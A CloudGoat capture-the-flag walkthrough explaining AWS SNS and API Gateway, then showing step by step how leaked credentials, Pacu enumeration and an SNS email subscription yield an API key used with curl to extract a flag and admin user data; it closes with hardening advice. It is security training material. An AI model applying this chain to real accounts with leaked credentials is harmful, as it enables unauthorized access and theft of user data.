Skip to content

SNS Secrets Walkthrough

Lab Name: SNS Secrets
Platform: CloudGoat

Understanding AWS SNS (Simple Notification Service)

Section titled “Understanding AWS SNS (Simple Notification Service)”

Amazon SNS is a managed messaging service for sending messages between applications or from applications to people. It supports two main types of messaging:

1. Application-to-Application (A2A) Notifications

Section titled “1. Application-to-Application (A2A) Notifications”

One application can publish a message for other applications to receive. For example, a website can notify a backend service when someone signs up, without tightly coupling the two.

2. Application-to-Person (A2P) Notifications

Section titled “2. Application-to-Person (A2P) Notifications”

Applications can also send messages directly to people, such as:

  • SMS messages
  • Emails
  • Push notifications

Apps use these for alerts, order updates, and OTPs.

  • If SNS topics are publicly accessible, attackers can publish spam or subscribe to sensitive messages.
  • Permissions like sns:* can let attackers delete topics or redirect messages.

Amazon API Gateway is a managed service for creating and managing APIs (Application Programming Interfaces). It lets apps, websites, and other systems interact with backend services securely.

With API Gateway, you can build different types of APIs such as:

  • REST APIs for typical web and mobile apps.
  • WebSocket APIs for real-time apps such as chat or live dashboards.

An API key is used for usage tracking and quotas, not as a substitute for authentication. In this lab, the endpoint relies on the exposed key without an additional authorizer, allowing its holder to:

  • Invoke the API endpoints
  • Extract data
  • Trigger backend operations (like Lambda function executions or DynamoDB writes)

If the key is linked to a generous usage plan:

  • Attackers can use it to make high-volume calls.
  • This can cause increased costs.
  • It can also lead to a denial of service (DoS) for legitimate users.

We start with a set of leaked AWS credentials.

Output
sns_user_access_key_id = [REDACTED_AWS_ACCESS_KEY_ID]
sns_user_secret_access_key = [REDACTED_AWS_SECRET_ACCESS_KEY]

First, add the key as a profile in the AWS CLI.

Terminal window
aws configure --profile sns_user
Output
AWS Access Key ID [None]: [REDACTED_AWS_ACCESS_KEY_ID]
AWS Secret Access Key [None]: [REDACTED_AWS_SECRET_ACCESS_KEY]
Default region name [None]: us-east-1
Default output format [None]: json

Next, verify the access by checking the caller identity.

Terminal window
aws sts get-caller-identity --profile sns_user
Output
{
"UserId": "[REDACTED_AWS_USERID]",
"Account": "710506681373",
"Arn": "arn:aws:iam::710506681373:user/cg-sns-user-cgidbhojlinths"
}

List the inline policies attached to the user.

Terminal window
aws iam list-user-policies --user-name cg-sns-user-cgids2uo6tcael --profile sns_user
Output
{
"PolicyNames": [
"cg-sns-user-policy-cgids2uo6tcael"
]
}
  • A policy named cg-sns-user-policy-cgids2uo6tcael is attached to the user.

We inspect the permissions granted by this policy.

Terminal window
aws iam get-user-policy --user-name cg-sns-user-cgids2uo6tcael --policy-name cg-sns-user-policy-cgids2uo6tcael --profile sns_user
Output
{
"UserName": "cg-sns-user-cgids2uo6tcael",
"PolicyName": "cg-sns-user-policy-cgids2uo6tcael",
"PolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Action": [
"sns:Subscribe",
"sns:Receive",
"sns:ListSubscriptionsByTopic",
"sns:ListTopics",
"sns:GetTopicAttributes",
"iam:ListGroupsForUser",
"iam:ListUserPolicies",
"iam:GetUserPolicy",
"iam:ListAttachedUserPolicies",
"apigateway:GET"
],
"Effect": "Allow",
"Resource": "*"
},
{
"Action": "apigateway:GET",
"Effect": "Deny",
"Resource": [
"arn:aws:apigateway:us-east-1::/apikeys",
"arn:aws:apigateway:us-east-1::/apikeys/*",
"arn:aws:apigateway:us-east-1::/restapis/*/resources/*/methods/GET",
"arn:aws:apigateway:us-east-1::/restapis/*/methods/GET",
"arn:aws:apigateway:us-east-1::/restapis/*/resources/*/integration",
"arn:aws:apigateway:us-east-1::/restapis/*/integration",
"arn:aws:apigateway:us-east-1::/restapis/*/resources/*/methods/*/integration"
]
}
]
}
}
  • The policy capture includes sns:Receive, but the permission used here is sns:Subscribe. Current SNS service authorization lists the supported actions; subscribers receive deliveries through their confirmed endpoint rather than polling a Receive API.
  • The user also has apigateway:GET permission, which allows fetching API Gateway endpoint details.

Pacu is an open-source AWS exploitation framework. We’ll use it to find accessible SNS topics.

Terminal window
use sns__enum --region us-east-1
Terminal window
data sns
Output
{
"sns": {
"us-east-1": {
"arn:aws:sns:us-east-1:710506681373:public-topic-cgidbhojlinths": {
"DisplayName": "",
"Owner": "710506681373",
"Subscribers": [],
"SubscriptionsConfirmed": "0",
"SubscriptionsPending": "0"
}
}
}
}
  • An SNS topic was found: public-topic-cgidbhojlinths.

Now, we subscribe an email address to this topic to receive messages.

Terminal window
use sns__subscribe --topics arn:aws:sns:us-east-1:710506681373:public-topic-cgidbhojlinths --email example+cloudgoat@example.com
Output
Running module sns__subscribe...
[sns__subscribe] Subscribed successfully, check email for subscription confirmation. Confirmation ARN: arn:aws:sns:us-east-1:710506681373:public-topic-cgidbhojlinths:4e4ae1c3-7765-470d-b58a-b0b8e2e5749a

This is the alt text for the image

We received a confirmation link via email.

This is the alt text for the image

After clicking the link, the subscription is confirmed.

This is the alt text for the image

Shortly after subscribing, we receive a message containing a sensitive API Gateway key.

We can use the API key to access restricted resources by passing it in the x-api-key header of an HTTP request.

Syntax:

Terminal window
curl -X GET -H "x-api-key: <key>" https://<restapiid>.execute-api.<region>.amazonaws.com/<stage>/<resource>

First, find the available REST APIs.

Terminal window
aws apigateway get-rest-apis --profile sns_user
Output
{
"items": [
{
"id": "8vdw79n971",
"name": "cg-api-cgidbhojlinths",
"description": "API for demonstrating leaked API key scenario",
"createdDate": "2025-06-22T00:56:37+05:30",
"apiKeySource": "HEADER",
"endpointConfiguration": {
"types": [
"EDGE"
]
}
}
]
}
  • Discovered a REST API with ID 8vdw79n971.

Next, list the resource paths for this API.

Terminal window
aws apigateway get-resources --rest-api-id 8vdw79n971 --profile sns_user
Output
{
"items": [
{
"id": "2oflpb",
"parentId": "uda3jwgdf4",
"pathPart": "user-data",
"path": "/user-data",
"resourceMethods": {
"GET": {}
}
},
{
"id": "uda3jwgdf4",
"path": "/"
}
]
}
  • Found the resource path: /user-data.

Finally, get the stage name from the usage plan.

Terminal window
aws apigateway get-usage-plans --profile sns_user
Output
{
"items": [
{
"id": "26qzsc",
"name": "cg-usage-plan-cgidbhojlinths",
"apiStages": [
{
"apiId": "8vdw79n971",
"stage": "prod-cgidbhojlinths"
}
]
}
]
}
  • Found the stage name: prod-cgidbhojlinths.

Now we have all the pieces to construct the request:

  • Rest API ID: 8vdw79n971
  • Stage Name: prod-cgidbhojlinths
  • Path: /user-data
  • API Key: 45a3da610dc64703b10e273a4db135bf

We make the request using curl.

Terminal window
curl -X GET -H "x-api-key:[REDACTED_API_KEY]" https://8vdw79n971.execute-api.us-east-1.amazonaws.com/prod-cgidbhojlinths/user-data

The response contains the target user data and flag. This confirms the exposed key is sufficient to access this endpoint in the lab, rather than merely proving the API accepts the header.

Output
{"final_flag":"[REDACTED_FLAG]","message":"Access granted","user_data":{"email":"SuperAdmin@notarealemail.com","password":"[REDACTED_PASSWORD]","user_id":"[REDACTED_USER_ID]","username":"SuperAdmin"}}

Extracted Data:

  • Flag: [REDACTED_FLAG]
  • Email: SuperAdmin@notarealemail.com
  • Username: SuperAdmin
  • Password: [REDACTED_PASSWORD]

To address the permissions and exposure seen in this lab:

  • Use SNS topic policies to control who can publish or subscribe, and prevent public access.
  • Scope sns:Subscribe and sns:Publish to the required topics. Where appropriate, constrain subscription protocols and endpoints using sns:Protocol and sns:Endpoint.
  • Audit subscriptions for unauthorized endpoints.
  • Use AWS CloudTrail to monitor SNS API activity.

Use IAM authorization, a Lambda authorizer, or an appropriate user-authentication integration on the API. API Gateway API keys support usage plans and quotas; possession of a key should not be the only gate protecting user data.

  • Avoid wildcards such as sns:* or apigateway:*. Grant the required actions on specific resources.
  • Use custom policies where possible to avoid broad AWS-managed permissions.
  • Add explicit denies for sensitive actions where needed.
  • Enable multi-factor authentication (MFA) for IAM users, especially those with privileged access.